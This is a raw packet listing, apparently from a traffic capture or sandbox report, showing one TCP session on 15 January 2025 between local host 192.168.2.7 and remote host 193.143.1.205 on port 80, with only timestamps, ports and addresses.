Jan 15, 2025 08:41:06.445528030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445561886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445570946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445597887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445627928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445638895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445717096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445750952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445759058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445785999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445821047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445830107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445964098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446007013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446022987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446057081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446089983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446103096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446125031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446152925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446166992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446290970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446326017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446336985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446361065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446388960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446403027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446496964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446528912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446540117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446579933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446613073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446631908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446650028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446682930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446691990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446717024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446751118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.446790934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.446983099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447016001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447027922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.447050095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447097063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.447102070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447153091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447192907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447196960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.447246075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447279930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447288990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.447331905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447371006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447372913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.447403908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447438955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447443962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.447473049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.447607040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.449373960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.449389935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.449425936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.450434923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450449944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450464964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450488091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.450490952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450508118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450524092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450525999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.450541019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450556993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450570107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.450575113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450589895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450594902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.450614929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450630903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450634003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.450647116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.450671911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.454335928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.471052885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471110106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.471148968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471177101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471194983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471236944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471240044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.471271992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471293926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.471306086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471354961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.471358061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471390963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471426964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.471438885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.500226974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.500278950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.500315905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.500323057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.500350952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.500365973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.500387907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.500422001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.500437975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.500459909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.500509977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.504242897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.504276037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.504309893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.504333973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.504343033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.504378080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.504405975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533116102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533194065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533209085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533230066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533262968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533272028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533298016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533329964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533339024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533363104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533396006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533402920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533428907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533462048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533468962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533499002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533539057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533895969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533925056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.533974886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.533974886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.534028053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.534059048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.534092903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.534121037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.534123898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.534132957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.534153938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.534188032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.534195900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.566075087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566129923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566148996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.566181898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566214085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566236973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.566263914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566297054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566310883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.566332102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566364050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566371918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.566397905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566431999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.566435099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567256927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567287922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567305088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567362070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567404985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567414045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567471027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567504883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567512989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567554951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567589045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567595959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567637920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567671061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567673922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567698956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567739010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567748070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567783117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567811966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567820072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567846060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567887068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567897081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567929029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.567975044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.567984104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568032980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568065882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568074942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568114996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568159103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568166971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568214893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568257093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568264008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568291903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568325043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568335056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568356991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568387032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568397999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568437099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568481922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568487883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568521023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568556070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568562031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568589926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568624973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568630934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568654060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568694115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568706989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568754911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568792105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568804979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568837881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568878889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.568886042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568918943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568952084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.568964005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569003105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569035053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569046021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569068909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569113016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569118977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569152117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569190979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569204092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569236040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569268942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569276094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569303036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569336891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569346905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569371939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569402933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569413900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569434881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569467068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569473028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569499969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569531918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569540024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569565058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569597006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569602013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569628954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569659948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569673061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569694042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569725990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569739103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569760084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569792032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569793940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569824934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569856882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569873095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569889069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569922924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569926977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.569956064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569987059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.569996119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.570019960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570051908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570060968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.570085049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570116043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570123911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.570148945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570183992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570188999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.570219994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570247889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.570257902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.572197914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.588918924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.588974953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589004993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.589029074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589076042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.589077950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589128971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589160919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589169979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.589195967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589226007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589237928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.589257956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589292049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589298964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.589323997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589356899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589363098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.589390039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589425087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589426994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.589457035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589490891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.589497089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.599555016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.604029894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.621773005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.621828079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.621851921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.621861935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.621893883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.621902943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.621927977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.621958971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.621973038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.621993065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.622025967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.622030973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.622766972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.622797012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.622811079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.622847080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.622886896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.622899055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.622927904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.622965097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.622975111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623027086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623054028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623066902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.623085976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623119116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623136044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.623151064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623186111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623188972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.623217106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623250008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.623254061 CET	49699	80	192.168.2.7	193.143.1.205
